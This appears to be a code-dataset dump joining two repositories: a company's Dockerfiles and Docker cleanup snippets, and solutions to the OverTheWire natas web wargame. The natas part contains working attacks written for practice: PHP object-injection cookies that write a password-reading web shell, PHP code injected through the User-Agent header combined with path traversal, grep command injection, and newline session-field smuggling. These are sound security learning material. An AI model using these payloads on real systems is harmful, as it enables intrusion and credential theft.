endpoint=${VSFTP_S3_REGION} -o allow_other -o umask=0002 && vsftpd /etc/vsftpd/vsftpd.conf <file_sep>FROM quay.io/urbit/gunicorn-python:latest MAINTAINER <NAME> <<EMAIL>> COPY requirements.txt . COPY pep8 /root/.config/pep8 COPY flake8 /root/.config/flake8 # Install dependencies RUN apk --update add --virtual build-dependencies \ build-base \ --update-cache \ --repository http://dl-3.alpinelinux.org/alpine/edge/community/ --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted \ && pip3 install -r requirements.txt # Remove dependencies & clean up RUN apk --no-cache del \ wget \ build-dependencies \ && rm -rf /var/cache/apk/* /tmp/* <file_sep>FROM centos:7 MAINTAINER <NAME> <<EMAIL>> WORKDIR /home/fluent ENV PATH /home/fluent/.gem/ruby/2.3.0/bin:$PATH USER root # Ensure there are enough file descriptors for running Fluentd. RUN ulimit -n 65536 # Copy the Fluentd configuration file. COPY td-agent.conf /etc/td-agent/td-agent.conf # Install dependencies RUN yum update -y \ && yum groupinstall -y development \ && yum install -y sudo ruby-devel \ # Install fluentd && curl -sSL https://toolbelt.treasuredata.com/sh/install-redhat-td-agent3.sh | sh \ # Change the default user and group to root. # Needed to allow access to /var/log/docker/... files. && sed -i -e "s/USER=td-agent/USER=root/" -e "s/GROUP=td-agent/GROUP=root/" /etc/init.d/td-agent \ # http://www.fluentd.org/plugins && td-agent-gem install --no-document \ fluent-plugin-kubernetes_metadata_filter:2.3.0 \ fluent-plugin-loggly:0.0.9 \ fluent-plugin-grok-parser:2.1.4 \ fluent-plugin-record-modifier:0.5.0 \ fluent-plugin-mutate_filter:0.2.0 \ fluent-plugin-multi-format-parser:1.0.0 \ fluent-plugin-elasticsearch:3.5.2 \ fluent-plugin-flatten-hash:0.5.1 \ && yum remove -y sudo \ && rm -rf /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/json-1.8.1 EXPOSE 24284 EXPOSE 5140/udp # Run the Fluentd service. CMD ["td-agent"] <file_sep>FROM php:7.1-cli-alpine3.10 MAINTAINER <NAME> <<EMAIL>> ENV RABBITMQ_VERSION v0.8.0 ENV PHP_AMQP_VERSION v1.9.4 ENV PHP_REDIS_VERSION 3.1.4 ENV PHP_MONGO_VERSION 1.6.1 # persistent / runtime deps ENV PHPIZE_DEPS \ autoconf \ cmake \ file \ g++ \ gcc \ libc-dev \ pcre-dev \ make \ git \ pkgconf \ re2c RUN apk add --no-cache --virtual .persistent-deps \ # for intl extension icu-dev \ # for mcrypt extension libmcrypt-dev \ # for mongodb libressl \ libressl-dev \ # for zero mq libsodium-dev \ # for postgres postgresql-dev \ # for soap libxml2-dev \ zeromq RUN set -xe \ && apk add --no-cache --virtual .build-deps \ $PHPIZE_DEPS \ openssl-dev \ zeromq-dev \ && docker-php-ext-configure bcmath --enable-bcmath \ && docker-php-ext-configure intl --enable-intl \ && docker-php-ext-configure pcntl --enable-pcntl \ && docker-php-ext-configure pdo_mysql --with-pdo-mysql \ && docker-php-ext-configure mbstring --enable-mbstring \ && docker-php-ext-configure soap --enable-soap \ && docker-php-ext-install \ bcmath \ intl \ pcntl \ pdo_mysql \ mbstring \ soap \ && git clone --branch ${RABBITMQ_VERSION} https://github.com/alanxz/rabbitmq-c.git /tmp/rabbitmq \ && cd /tmp/rabbitmq \ && mkdir build && cd build \ && cmake .. \ && cmake --build . --target install \ # workaround for linking issue && cp -r /usr/local/lib64/* /usr/lib/ \ && git clone --branch ${PHP_AMQP_VERSION} https://github.com/pdezwart/php-amqp.git /tmp/php-amqp \ && cd /tmp/php-amqp \ && phpize \ && ./configure \ && make \ && make install \ && git clone --branch ${PHP_REDIS_VERSION} https://github.com/phpredis/phpredis /tmp/phpredis \ && cd /tmp/phpredis \ && phpize \ && ./configure \ && make \ && make install \ && make test \ && git clone --branch ${PHP_MONGO_VERSION} https://github.com/mongodb/mongo-php-driver /tmp/php-mongo \ && cd /tmp/php-mongo \ && git submodule sync && git submodule update --init \ && phpize \ && ./configure \ && make \ && make install \ && make test \ && apk del .build-deps \ && rm -rf /tmp/* \ && rm -rf /app \ && mkdir /app # Copy configuration COPY config/php-cli.ini /usr/local/etc/php/php.ini COPY config/php7.ini /usr/local/etc/php/conf.d/ COPY config/amqp.ini /usr/local/etc/php/conf.d/ COPY config/redis.ini /usr/local/etc/php/conf.d/ COPY config/mongodb.ini /usr/local/etc/php/conf.d/ # Install dependencies RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ git \ curl \ nodejs \ && apk --no-cache del \ wget WORKDIR /app # Install Composer & dependencies RUN curl -sSL http://getcomposer.org/installer | php \ && mv composer.phar /usr/local/bin/composer \ && chmod +x /usr/local/bin/composer \ && composer global require "hirak/prestissimo:^0.3" # Set up the application directory VOLUME ["/app"] <file_sep>FROM golang:1.8-alpine ENV PATH /go/bin:$PATH # Install dependencies RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ curl \ glide \ git \ make \ && apk --no-cache del \ wget WORKDIR /go <file_sep>Urb-it Docker Images ==================== These are Urb-it's Docker images, used mainly for internal development. quay.io builds and tags these images with the "latest" tag when the master branch is updated If you want a specific tag (i.e, a version number) you have to build, tag and push the image manually ## Docker Snippets Useful snippets for building, tagging, cleanups etc. #### Build and tag a docker image ``` docker build {FOLDER_CONTAINING_DOCKERFILE} -t {repository}/{imagename}:{tag} docker build ./ -t quay.io/urbit/fluentd-loggly:1.2 ``` #### Push a tagged docker image to a repository (i.e, quay.io) ``` docker push {repository}/{imagename}:{tag} docker push quay.io/urbit/fluentd-loggly:1.2 ``` #### Stop all containers ``` docker stop $(docker ps -a -q) ``` ``` docker ps -a -q | xargs docker stop ``` #### Remove all containers ``` docker rm $(docker ps -a -q) ``` ``` docker ps -a -q | xargs docker rm ``` #### Remove all images ``` docker rmi $(docker images -q) ``` ``` docker images -q | xargs docker rmi ``` #### Remove orphaned volumes ``` docker volume rm $(docker volume ls -qf dangling=true) ``` ``` docker volume ls -qf dangling=true | xargs docker volume rm ``` #### Remove exited containers ``` docker rm -v $(docker ps -a -q -f status=exited) ``` ``` docker ps -a -q -f status=exited | xargs docker rm -v ``` #### Stop & Remove all containers with base image name <image_name> ``` docker rm $(docker stop $(docker ps -a -q --filter ancestor=<image_name>)) ``` ``` docker ps -a -q --filter ancestor=<image_name> | xargs docker stop | xargs docker rm ``` #### Remove dangling images ``` docker rmi $(docker images -f "dangling=true" -q) ``` ``` docker images -f "dangling=true" -q | xargs docker rmi ``` #### Cleanup Volumes ``` docker run -v /var/run/docker.sock:/var/run/docker.sock \ -v /var/lib/docker:/var/lib/docker \ --rm martin/docker-cleanup-volumes ``` #### Remove all DinD containers ``` docker rm $(docker stop $(docker ps -a -q --filter ancestor=urbit/dind-jenkins)) ``` #### Cleanup exited + orphaned + DinD ``` docker ps -a -q -f status=exited | xargs docker rm -v && \ docker volume ls -qf dangling=true | xargs docker volume rm && \ docker ps -a -q --filter ancestor=urbit/dind-jenkins | xargs docker stop | xargs docker rm ``` #### Docker-outside-of-Docker ``` docker run -d -v /var/run/docker.sock:/var/run/docker.sock \ -v $(which docker):/usr/bin/docker -p 8080:8080 my-dood-container ``` #### Docker-inside-Docker ``` docker run --privileged --name my-dind-container -d docker:dind ``` ``` docker run --privileged --name my-dind-container -d urbit/dind-jenkins:latest ``` <file_sep>pymongo[tls] pika==0.11.0 requests==2.21.0 redlock-py==1.0.8 redis==2.10.6 <file_sep>FROM openresty/openresty:1.17.8.2-5-alpine ARG UID=1000 ARG GID=2000 RUN deluser nginx || true \ && delgroup nginx || true \ && addgroup -g $GID -S nginx || true \ && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G nginx nginx || true # Copy files & set permissions COPY nginx.conf /usr/local/openresty/nginx/conf/ COPY init-d-nginx /etc/init.d/nginx RUN mkdir -p /usr/local/api-gateway/nginx/conf.d && \ mkdir -p /usr/local/api-gateway/nginx/upstream && \ chmod +x /etc/init.d/nginx # Install dependencies RUN echo http://dl-4.alpinelinux.org/alpine/3.8/testing \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/3.8/main \ >> /etc/apk/repositories \ && apk --no-cache --update add \ nettle nettle-dev gcc lua5.1-dev curl perl luarocks5.1 openssl-dev tar g++ make openssl cmake tzdata \ && ln -s /usr/bin/luarocks-5.1 /usr/bin/luarocks # mongo-c-driver libbson 1.5.2 RUN cd /tmp \ && curl -L -O https://github.com/mongodb/mongo-c-driver/releases/download/1.6.0/mongo-c-driver-1.6.0.tar.gz \ && tar xzf mongo-c-driver-1.6.0.tar.gz \ && cd mongo-c-driver-1.6.0 \ && ./configure --disable-automatic-init-and-cleanup \ && make clean \ && make \ && make clean \ && make install . RUN /usr/bin/luarocks install mongorover \ && /usr/bin/luarocks install rapidjson \ && /usr/bin/luarocks install date \ && /usr/bin/luarocks install luatz # Cleanup RUN apk --no-cache del wget lua5.1-dev openssl-dev tar luarocks5.1 g++ make cmake \ && rm -rf /var/cache/apk/* /tmp/* # Install opm packages RUN opm install chunpu/shim pintsized/lua-resty-http sumory/lor bungle/lua-resty-nettle=1.5 SkyLothar/lua-resty-jwt WORKDIR /usr/local/api-gateway RUN chown -R $UID:0 /usr/local/openresty/nginx USER nginx EXPOSE 8080 <file_sep>#!/bin/bash envsubst < /config/ims.tpl.conf > /config/ims.conf logstash -f /config/ims.conf<file_sep>FROM python:3.5-alpine MAINTAINER <NAME> <<EMAIL>> COPY requirements.txt . # Install dependencies RUN apk --update add --virtual build-dependencies \ ca-certificates \ openssl \ tini \ g++ \ build-base \ --update-cache \ --repository http://dl-3.alpinelinux.org/alpine/edge/community/ --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted \ && ln -s /usr/include/locale.h /usr/include/xlocale.h \ && pip3 install -r requirements.txt # Remove dependencies & clean up RUN apk --no-cache del \ wget \ build-dependencies \ && rm -rf /var/cache/apk/* /tmp/* <file_sep>date.timezone = UTC memory_limit = -1 error_reporting=E_ALL display_errors=true soap.wsdl_cache_enabled=0<file_sep>FROM alpine:latest MAINTAINER <NAME> <<EMAIL>> # Environment variables ENV LUA_VERSION 5.1 ENV ALPINE_VERSION 3.6 ENV LUA_PACKAGE lua${LUA_VERSION} ENV APPLICATION_PATH /usr/local/application # LPUpdate apk index. RUN echo http://dl-4.alpinelinux.org/alpine/v${ALPINE_VERSION}/main \ echo http://dl-4.alpinelinux.org/alpine/edge/testing \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/edge/main \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/edge/community \ >> /etc/apk/repositories \ && apk --no-cache --update add \ autoconf \ build-base \ ca-certificates \ ${LUA_PACKAGE} \ ${LUA_PACKAGE}-dev \ luarocks${LUA_VERSION} \ lua${LUA_VERSION}-filesystem \ lua${LUA_VERSION}-busted \ openssl-dev \ tar \ g++ \ make \ openssl \ cmake \ perl \ gcc \ unzip \ curl \ && ln -s /usr/bin/luarocks-${LUA_VERSION} /usr/bin/luarocks \ && mkdir -p /root/.cache/luarocks \ && /usr/bin/luarocks install luacheck \ && apk --no-cache del \ wget \ ${LUA_PACKAGE}-dev \ luarocks5.1 \ openssl-dev \ tar \ g++ \ make \ openssl \ cmake \ build-base \ && rm -rf /var/cache/apk/* /tmp/* \ && mkdir ${APPLICATION_PATH} WORKDIR ${APPLICATION_PATH} <file_sep>FROM openresty/openresty:alpine MAINTAINER <NAME> <<EMAIL>> ENV GOPATH /go ENV PATH $PATH:$GOPATH/bin # Copy files & set permissions COPY nginx.conf /usr/local/openresty/nginx/conf/ COPY init-d-nginx /etc/init.d/nginx COPY start-geoip-service.sh /usr/local/bin COPY update-database.sh /etc/periodic/daily RUN mkdir /go \ && chmod +x /usr/local/bin/start-geoip-service.sh \ && chmod +x /etc/init.d/nginx \ && chmod +x /etc/periodic/daily/update-database.sh # Install dependencies RUN apk --no-cache --update add \ go \ curl \ perl \ && apk --no-cache del \ wget \ && apk --no-cache --update add --virtual build-dependencies \ git \ musl-dev \ autoconf \ automake \ libtool \ make \ zlib-dev \ curl-dev RUN opm install chunpu/shim # Install and Configure GeoIP service RUN go get github.com/klauspost/geoip-service \ && git clone https://github.com/maxmind/geoipupdate && \ cd geoipupdate && \ ./bootstrap && \ ./configure && \ make && \ make install && \ mkdir /usr/local/share/GeoIP # Remove dependencies & clean up RUN apk --no-cache del \ wget \ build-dependencies \ && rm -rf /var/cache/apk/* /tmp/* # Set up container logging RUN ln -sf /dev/stdout /usr/local/openresty/nginx/logs/access.log && \ ln -sf /dev/stderr /usr/local/openresty/nginx/logs/error.log # Start services ENTRYPOINT ["/usr/local/bin/start-geoip-service.sh"] WORKDIR /usr/local/openresty/nginx EXPOSE 80 443 5000 <file_sep>FROM alpine:3.4 MAINTAINER <NAME> <<EMAIL>> ENV SUPERVISOR_VERSION=3.3.1 ENV GOPATH /go ENV GO15VENDOREXPERIMENT 1 ENV KUBE_VERSION="v1.4.6" ENV HELM_VERSION="v2.0.2" ENV HELM_FILENAME="helm-${HELM_VERSION}-linux-amd64.tar.gz" ADD ./worker.conf /etc/supervisord.conf # Install dependencies RUN echo http://dl-4.alpinelinux.org/alpine/edge/testing \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/edge/main \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/edge/community \ >> /etc/apk/repositories \ && apk --no-cache --update add \ gcc \ curl \ perl \ openssl-dev \ tar \ unzip \ g++ \ git \ make \ cmake \ openssl \ go \ ca-certificates \ luajit \ py-pip \ && update-ca-certificates \ && curl -L https://storage.googleapis.com/kubernetes-release/release/${KUBE_VERSION}/bin/linux/amd64/kubectl -o /usr/local/bin/kubectl \ && chmod +x /usr/local/bin/kubectl \ && curl -L http://storage.googleapis.com/kubernetes-helm/${HELM_FILENAME} -o /tmp/${HELM_FILENAME} \ && tar -zxvf /tmp/${HELM_FILENAME} -C /tmp \ && mv /tmp/linux-amd64/helm /usr/local/bin/helm \ && chmod +x /usr/local/bin/helm && helm init -c && helm repo add urbit http://charts.urb-it.io \ && go get github.com/urbitassociates/cli53 ;\ cd $GOPATH/src/github.com/urbitassociates/cli53 ;\ make install \ && pip install \ supervisor==$SUPERVISOR_VERSION \ supervisor-stdout \ redis \ enum34 \ && apk --no-cache del \ wget \ openssl-dev \ tar \ gcc \ g++ \ git \ make \ cmake \ unzip \ go \ && rm -rf /var/cache/apk/* /tmp/* $GOPATH/src WORKDIR /var/application ENTRYPOINT ["/bin/sh", "-c", "supervisord", "--nodaemon" ,"--configuration /etc/supervisord.conf"] <file_sep># node-workspace Workspace image for Node.js with added dependencies for Facebook Flow and Yarn<file_sep>FROM alpine:3.4 MAINTAINER <NAME> <<EMAIL>> ARG K8S_VERSION=1.7.5 ARG HELM_VERSION=2.6.2 # Install dependencies RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ curl \ git \ && apk --no-cache del \ wget \ && rm -rf /var/cache/apt/archives # Install kubectl & helm RUN curl -#SL -o /usr/local/bin/kubectl https://storage.googleapis.com/kubernetes-release/release/v$K8S_VERSION/bin/linux/amd64/kubectl \ && chmod +x /usr/local/bin/kubectl \ && curl -#SL https://storage.googleapis.com/kubernetes-helm/helm-v$HELM_VERSION-linux-amd64.tar.gz | tar zxvf - \ && mv linux-amd64/helm /usr/local/bin/helm && rm -rf linux-amd64 \ && chmod +x /usr/local/bin/helm \ && mkdir -p ~/.kube && helm init -c WORKDIR /home CMD kubectl <file_sep>error_log = /proc/self/fd/2 decorate_workers_output = no <file_sep>#!/bin/sh mkdir -p ${VSFTP_S3_MOUNTPOINT} if [ -n ${SSL_CERTIFICATE+x} ] then mkdir -p /var/cert mount tmpfs /var/cert -t tmpfs -o size=16M echo -e "$SSL_CERTIFICATE" | sed -e 's/^"//' -e 's/"$//' > /var/cert/vsftpd.pem echo "" >> /etc/vsftpd/vsftpd.conf cat /etc/vsftpd/ssl.conf >> /etc/vsftpd/vsftpd.conf unset SSL_CERTIFICATE fi <file_sep>date.timezone = UTC display_errors = Off log_errors = On memory_limit = 512M # Opcache opcache.enable=1 opcache.memory_consumption=64 opcache.max_accelerated_files=2000 opcache_revalidate_freq=240 <file_sep>FROM php:7.1-alpine MAINTAINER <NAME> <<EMAIL>> ENV MONGODB_VERSION=1.2.5 # Install dependencies & clean up RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ php7-sockets \ php7-bcmath \ curl \ openssl-dev \ openssl \ autoconf \ build-base \ icu \ icu-dev \ && apk --no-cache del \ wget RUN pecl install \ mongodb-$MONGODB_VERSION \ && docker-php-ext-install \ pdo_mysql \ sockets \ intl \ bcmath \ && docker-php-ext-enable \ mongodb RUN rm -rf /var/cache/apk/* /tmp/* \ && apk --no-cache del \ build-base \ autoconf \ openssl-dev \ icu-dev # Add config & crontab ADD ./lumen.ini /usr/local/etc/php/conf.d ADD lumen-scheduler.crontab /lumen-scheduler.crontab RUN /usr/bin/crontab /lumen-scheduler.crontab WORKDIR /var/www/application <file_sep>FROM nginx:1.20.1-alpine COPY auto-reload-nginx.sh /home/auto-reload-nginx.sh COPY nginx.conf /etc/nginx/ COPY default.conf /etc/nginx/conf.d/default.conf RUN chmod +x /home/auto-reload-nginx.sh ARG UID=1000 ARG GID=2000 # Install & clean up dependencies RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ curl \ shadow \ inotify-tools \ && apk --no-cache del \ wget \ && rm -rf /var/cache/apk/* /tmp/* # Set up user RUN deluser nginx || true \ && delgroup nginx || true \ && addgroup -g $GID -S nginx || true \ && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G nginx nginx || true RUN chown nginx /home/auto-reload-nginx.sh \ && chown -R $UID:0 /var/cache/nginx \ && chmod -R g+w /var/cache/nginx \ && chown -R $UID:0 /etc/nginx \ && chmod -R g+w /etc/nginx # Set up logging RUN ln -sf /dev/stdout /var/log/nginx/access.log && \ ln -sf /dev/stderr /var/log/nginx/error.log CMD ["/home/auto-reload-nginx.sh"] WORKDIR /var/www/application USER nginx EXPOSE 8080 <file_sep>FROM python:3.9-alpine3.17 RUN python -m pip install --upgrade pip # Install dependencies RUN apk --update add \ ca-certificates \ openssl \ tini \ g++ \ gdal \ geos \ --update-cache \ --repository http://dl-3.alpinelinux.org/alpine/v3.17/community --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/community --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/testing --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/main --allow-untrusted RUN apk --update add --virtual build-dependencies \ build-base \ gdal-dev \ geos-dev \ --update-cache \ --repository http://dl-3.alpinelinux.org/alpine/v3.17/community --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/community --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/testing --allow-untrusted \ --repository http://dl-3.alpinelinux.org/alpine/edge/main --allow-untrusted \ && ln -s /usr/include/locale.h /usr/include/xlocale.h \ && pip install gunicorn \ && pip install gevent \ && pip install cython \ && pip install numpy # Remove dependencies & clean up RUN apk --no-cache del \ wget \ build-dependencies \ && rm -rf /var/cache/apk/* /tmp/* <file_sep>FROM nginx:1.21.5-alpine ARG PHP_UPSTREAM=php-fpm ARG UID=1000 ARG GID=2000 COPY auto-reload-nginx.sh /home/auto-reload-nginx.sh COPY nginx.conf /etc/nginx/ COPY lumen.conf /etc/nginx/conf.d/default.conf COPY tracking.conf /etc/nginx/conf.d/tracking.conf RUN echo "upstream php-upstream { server ${PHP_UPSTREAM}:9000; }" > /etc/nginx/conf.d/upstream.conf \ && chmod +x /home/auto-reload-nginx.sh # Install & clean up dependencies RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ curl \ shadow \ inotify-tools \ && apk --no-cache del \ wget \ && rm -rf /var/cache/apk/* /tmp/* # Set up user RUN deluser nginx || true \ && delgroup nginx || true \ && addgroup -g $GID -S nginx || true \ && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G nginx nginx || true RUN chown nginx /home/auto-reload-nginx.sh \ && chown -R $UID:0 /var/cache/nginx \ && chmod -R g+w /var/cache/nginx \ && chown -R $UID:0 /etc/nginx \ && chmod -R g+w /etc/nginx CMD ["/home/auto-reload-nginx.sh"] WORKDIR /var/www/application USER nginx EXPOSE 8080 <file_sep>pytz==2017.3 python-dateutil==2.6.1 gevent==1.2.2 gunicorn==19.7.1 redlock-py==1.0.8 <file_sep>#!/usr/bin/env sh echo "UserId ${MAXMIND_USER_ID}">/usr/local/etc/GeoIP.conf; echo "LicenseKey ${MAXMIND_LICENSE_KEY}">> /usr/local/etc/GeoIP.conf; echo "ProductIds GeoIP2-City GeoIP2-Country">> /usr/local/etc/GeoIP.conf; nohup /usr/local/openresty/bin/openresty > /dev/null 2>&1 & # It will take some seconds before the service is accessible /usr/local/bin/geoipupdate && /go/bin/geoip-service -db=/usr/local/share/GeoIP/GeoIP2-City.mmdb -listen=':5000' <file_sep>MaxMind GeoIP ============= Sets up a MaxMind GeoIP service. ## Environment vars MAXMIND_USER_ID: <user id> MAXMIND_LICENSE_KEY: <license key><file_sep>astroid==1.6.1 isort==4.3.2 pylint==1.8.2 coverage==4.5 hacking==1.0.0
8803ea474a8332689d10ba75be73aa6957c611e1
[ "Markdown", "INI", "Text", "Dockerfile", "Shell" ]
31
Dockerfile
urbitassociates/docker-images
d58bb60fd9b6a1a48382d66ceedd1eb8deb9fa81
4e7afc766718ff5f576eb39c3086f8663ae574ce
refs/heads/master
<file_sep>import requests url = 'http://natas26.natas.labs.overthewire.org/' username = 'natas26' password = 'oGgWA<PASSWORD>' session = requests.session() session.cookies['drawing'] = "<KEY> response = session.get(url ,auth=(username, password)) print(response.text) response = session.get(url + "img/haha.php", auth = (username, password)); print(response.url) print(response.text) # natas27_pass: <PASSWORD><file_sep><html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head> <body> <h1>natas16</h1> <div id="content"> For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> ''' pregmatch() function is used which filters out some characters $ this is not filtered out so we can use grep inside grep $(grep chars from /etc/natas_webpass/natas17)elephant (elephant is in the dictionary.txt file) so if the character char is in the pw, grep will return the password the the outer grep will return nothing because "natas17_password(elephant)" is not in dictionary.txt file use the python script '''<file_sep>import requests url = 'http://natas20.natas.labs.overthewire.org/?debug=True' username= 'natas20' password = '<PASSWORD>' session = requests.session() response = session.get(url, auth=(username, password)) print(response.text) print("--"*40) response = session.post(url, data={"name": "haha\nadmin 1"}, auth=(username, password)) print(response.text) print("--"*40) response = session.get(url, auth=(username, password)) print(response.text) # natas21_pass: <PASSWORD><file_sep>import requests url = 'http://natas25.natas.labs.overthewire.org/' username = 'natas25' password = '<PASSWORD>' headers = {'User-Agent': "<?php echo exec('cat /etc/natas_webpass/natas26') ?>"} session = requests.session() response = session.get(url, headers=headers, auth=(username, password)) print(response.request.headers) sessid = session.cookies['PHPSESSID'] response = session.get(url, headers=headers, params={"lang": "....//....//....//....//....//var/www/natas/natas25/logs/natas25_" + sessid + ".log"} ,auth=(username, password)) print(response.text) # natas26_pass: <PASSWORD> # params={"lang": "....//....//....//....//....//var/www/natas/natas25/logs/natas25_" . session.cookies['PHPSESSID'] . ".log"},<file_sep><? $maxid = 640; // 640 should be enough for everyone function isValidAdminLogin() { /* {{{ */ if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */ //return 1; } return 0; } function isValidID($id) { return is_numeric($id); // is_numeric()returns true if the paameter supplied is a number or a numeric string, else false } function createID($user) { /* {{{ */ global $maxid; return rand(1, $maxid); } function debug($msg) { if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } } function my_session_start() { if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { if(!session_start()) { debug("Session start failed"); return false; } else { debug("Session start ok"); if(!array_key_exists("admin", $_SESSION)) { debug("Session was old: admin flag set"); $_SESSION["admin"] = 0; // backwards compatible, secure } return true; } } return false; } function print_credentials() { if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas19\n"; print "Password: <c<PASSWORD>></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; } } $showform = true; if(my_session_start()) { // checks "PHPSESSID" cookie (its value must be a number or a numerics tring), if so checks checks cookie "admin" if it exists sets its value to 0 and function returns true print_credentials(); // prints the password for natas19 if the alue of cookie "admin" is 1 $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { session_id(createID($_REQUEST["username"])); session_start(); $_SESSION["admin"] = isValidAdminLogin(); debug("New session started"); $showform = false; print_credentials(); } } if($showform) { ?> <p> Please login with your admin account to retrieve credentials for natas19. </p> <form action="index.php" method="POST"> Username: <input name="username"><br> Password: <input name="<PASSWORD>"><br> <input type="submit" value="Login" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html><file_sep># disallow redirects <? session_start(); if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {// if we are not admin, we ll be redirected to the root page again header("Location: /"); } } ?> <? if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <<PASSWORD>></pre>"; } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> we can disallow the redirect: response = session.get(url, params=payload, auth=(username, password), allow_redirects = False) # as the parameter name says, it ll disallow any redirects. <file_sep>import requests url = "http://natas16.natas.labs.overthewire.org/" username = 'natas16' password = '<PASSWORD>' all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ' def find_password_chars(all_possible_chars, url, username, password): lis = [] for i in all_possible_chars: params = {'needle': "$(grep " + i + " /etc/natas_webpass/natas17)elephant"} r = requests.get(url, params=params, auth = (username, password)) if 'elephant' not in r.text: lis.append(i) return "".join(lis) def find_password(password_chars, url, username, password): while (len(natas17_password)<32): for i in lis: params = {'needle': "$(grep ^" + ''.join(password_chars) + i + " /etc/natas_webpass/natas17)elephant"} r = requests.get(url, params=params, auth = (username, password)) if 'elephant' not in r.text: password_chars.append(i) natas17_password = <PASSWORD>_password + i print(natas17_password) password_chars = find_password_chars(all_possible_chars, url, username, password) find_password(password_chars, url, username, password) # natas17_password: <PASSWORD><file_sep><?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="<?php passthru('cat /etc/natas_webpass/natas27'); ?>"; // this php code will be written to log file $this->exitMsg="<?php passthru('cat /etc/natas_webpass/natas27'); ?>"; $this->logFile = "img/haha.php"; // create own log file in /img directory which we ll be able to access later // write initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); // write the php code fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); // write the php code fclose($fd); } } $object = new logger('huhu'); // make a logger object echo base64_encode(serialize($object)); // serialize and abse64 encode the object to send it as a cookie // the object is deserialed in the serevr a logger object will be craeted and the magic __ functions() will execute ?><file_sep><?php // cheers and <3 to malvina // - morla function setLanguage(){ /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] )) return 1; safeinclude("language/en"); } function safeinclude($filename){ // check for directory traversal if(strstr($filename,"../")){ logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { include($filename); return 1; } return 0; } function listFiles($path){ $listoffiles=array(); if ($handle = opendir($path)) while (false !== ($file = readdir($handle))) if ($file != "." && $file != "..") $listoffiles[]=$file; closedir($handle); return $listoffiles; } function logRequest($message){ $log="[". date("d.m.Y H::i:s",time()) ."]"; $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; $log=$log . " \"" . $message ."\"\n"; $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); fwrite($fd,$log); fclose($fd); } ?> <h1>natas25</h1> <div id="content"> <div align="right"> <form> <select name='lang' onchange='this.form.submit()'> <option>language</option> <?php foreach(listFiles("language/") as $f) 